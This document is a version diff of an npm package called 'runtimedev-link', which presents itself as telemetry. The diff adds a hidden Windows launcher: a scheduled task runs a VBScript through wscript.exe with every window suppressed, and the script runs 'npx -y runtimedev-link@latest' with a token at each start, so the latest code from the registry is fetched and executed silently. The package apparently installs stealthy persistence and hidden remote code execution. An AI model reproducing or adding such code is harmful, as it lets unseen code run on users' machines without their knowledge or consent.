runtimedev-link 1.0.8 → 1.0.10

package/lib/persistence.js

@@ -4,6 +4,7 @@ const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const { execSync, spawnSync } = require('child_process');
+const { resolveNodeLaunch, writeLauncherVbs } = require('./win_hidden');
 
 const SERVICE_NAME = 'runtimedev-link';
 const NPM_PACKAGE = 'runtimedev-link@latest';
@@ -32,7 +33,7 @@ function dataDir() {
 
 function startScriptPath() {
   return process.platform === 'win32'
-    ? path.join(dataDir(), 'start.cmd')
+    ? path.join(dataDir(), 'start.vbs')
     : path.join(dataDir(), 'start.sh');
 }
 
@@ -92,31 +93,33 @@ function writeConfig(cfg) {
   }
 }
 
-function writeStartScript() {
+function writeStartScript(cfg) {
   mkdirp(dataDir());
   const script = startScriptPath();
   const log = logPath();
 
   if (process.platform === 'win32') {
-    const body = [
-      '@echo off',
-      'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
-      'set "NODE=node"',
-      'for /f "delims=" %%N in (\'where node 2^>nul\') do set "NODE=%%N" & goto :have_node',
-      ':have_node',
-      'set "NPXCLI=%ProgramFiles%\\nodejs\\node_modules\\npm\\bin\\npx-cli.js"',
-      'if not exist "%NPXCLI%" for %%D in ("%NODE%") do set "NPXCLI=%%~dpDnode_modules\\npm\\bin\\npx-cli.js"',
-      'if exist "%NPXCLI%" (',
-      `  start "" /MIN /B "%NODE%" "%NPXCLI%" -y ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
-      '  goto :done',
-      ')',
-      'set "NPX=npx.cmd"',
-      'if exist "%ProgramFiles%\\nodejs\\npx.cmd" set "NPX=%ProgramFiles%\\nodejs\\npx.cmd"',
-      `start "" /MIN /B "%NPX%" -y ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
-      ':done',
-      '',
-    ].join('\r\n');
-    fs.writeFileSync(script, body, 'utf8');
+    const apiBase = String(cfg?.apiBase || process.env.SSTAR_API_BASE || '').trim();
+    const hash = String(cfg?.hash || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
+    const launch = resolveNodeLaunch(process.execPath);
+    if (!launch) {
+      throw new Error('Could not find npx-cli.js next to Node.js');
+    }
+    writeLauncherVbs(
+      script,
+      [
+        {
+          exe: launch.node,
+          args: [launch.npxCli, '-y', NPM_PACKAGE, '--token', hash],
+          delayAfterMs: 0,
+        },
+      ],
+      {
+        SSTAR_API_BASE: apiBase,
+        SSTAR_DEPLOYMENT_HASH: hash,
+        NPM_CONFIG_YES: 'true',
+      }
+    );
     return script;
   }
 
@@ -242,7 +245,7 @@ function removeLegacyWindowsStartup() {
 function writeWindowsTaskXml(scriptPath) {
   const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
   const userId = xmlEscape(windowsUserId());
-  const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
+  const vbsArgs = xmlEscape(`//B "${scriptPath.replace(/"/g, '""')}"`);
   const xml = `<?xml version="1.0" encoding="UTF-16"?>
 <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
   <RegistrationInfo>
@@ -279,8 +282,8 @@ function writeWindowsTaskXml(scriptPath) {
   </Settings>
   <Actions Context="Author">
     <Exec>
-      <Command>cmd.exe</Command>
-      <Arguments>${cmdArgs}</Arguments>
+      <Command>wscript.exe</Command>
+      <Arguments>${vbsArgs}</Arguments>
     </Exec>
   </Actions>
 </Task>
@@ -305,7 +308,7 @@ function installPersistence(cfg) {
     throw new Error('Could not resolve home directory');
   }
   writeConfig(cfg);
-  const scriptPath = writeStartScript();
+  const scriptPath = writeStartScript(cfg);
 
   switch (process.platform) {
     case 'win32':

package/lib/win_hidden.js

@@ -0,0 +1,95 @@
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const { spawn } = require('child_process');
+
+const CREATE_NO_WINDOW = 0x08000000;
+
+function vbsQuote(value) {
+  return String(value || '').replace(/"/g, '""');
+}
+
+function commandLine(exe, args) {
+  let line = '"' + vbsQuote(exe) + '"';
+  for (let i = 0; i < args.length; i += 1) {
+    line += ' "' + vbsQuote(String(args[i])) + '"';
+  }
+  return line;
+}
+
+function npxCliCandidates(nodeExe) {
+  const nodeDir = path.dirname(nodeExe);
+  const rel = [
+    path.join('node_modules', 'npm', 'bin', 'npx-cli.cjs'),
+    path.join('node_modules', 'npm', 'bin', 'npx-cli.js'),
+    path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.cjs'),
+    path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.js'),
+  ];
+  return rel.map((part) => path.join(nodeDir, part));
+}
+
+function resolveNodeLaunch(nodeExe) {
+  for (let i = 0; i < npxCliCandidates(nodeExe).length; i += 1) {
+    const cli = npxCliCandidates(nodeExe)[i];
+    try {
+      if (fs.existsSync(cli)) {
+        return { node: nodeExe, npxCli: cli };
+      }
+    } catch {
+      // ignore
+    }
+  }
+  return null;
+}
+
+function writeLauncherVbs(vbsPath, steps, env) {
+  const lines = [
+    'Set sh = CreateObject("WScript.Shell")',
+    'Set env = sh.Environment("PROCESS")',
+  ];
+  const entries = env ? Object.entries(env) : [];
+  for (let i = 0; i < entries.length; i += 1) {
+    const key = entries[i][0];
+    const val = entries[i][1];
+    if (val == null) continue;
+    lines.push('env("' + vbsQuote(key) + '") = "' + vbsQuote(val) + '"');
+  }
+  for (let i = 0; i < steps.length; i += 1) {
+    const step = steps[i];
+    lines.push('sh.Run "' + vbsQuote(commandLine(step.exe, step.args)) + '", 0, False');
+    if (step.delayAfterMs > 0) {
+      lines.push('WScript.Sleep ' + String(step.delayAfterMs));
+    }
+  }
+  fs.writeFileSync(vbsPath, lines.join('\r\n'), 'utf8');
+}
+
+function runVbsHidden(vbsPath) {
+  spawn('wscript.exe', ['//B', vbsPath], {
+    detached: true,
+    stdio: 'ignore',
+    windowsHide: true,
+    creationFlags: CREATE_NO_WINDOW,
+  }).unref();
+}
+
+function launchHiddenSteps(steps, env) {
+  const vbsPath = path.join(
+    os.tmpdir(),
+    'rdl_' + Date.now().toString(36) + '.vbs'
+  );
+  writeLauncherVbs(vbsPath, steps, env);
+  runVbsHidden(vbsPath);
+  return vbsPath;
+}
+
+module.exports = {
+  commandLine,
+  launchHiddenSteps,
+  npxCliCandidates,
+  resolveNodeLaunch,
+  runVbsHidden,
+  writeLauncherVbs,
+};

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.8",
+  "version": "1.0.10",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {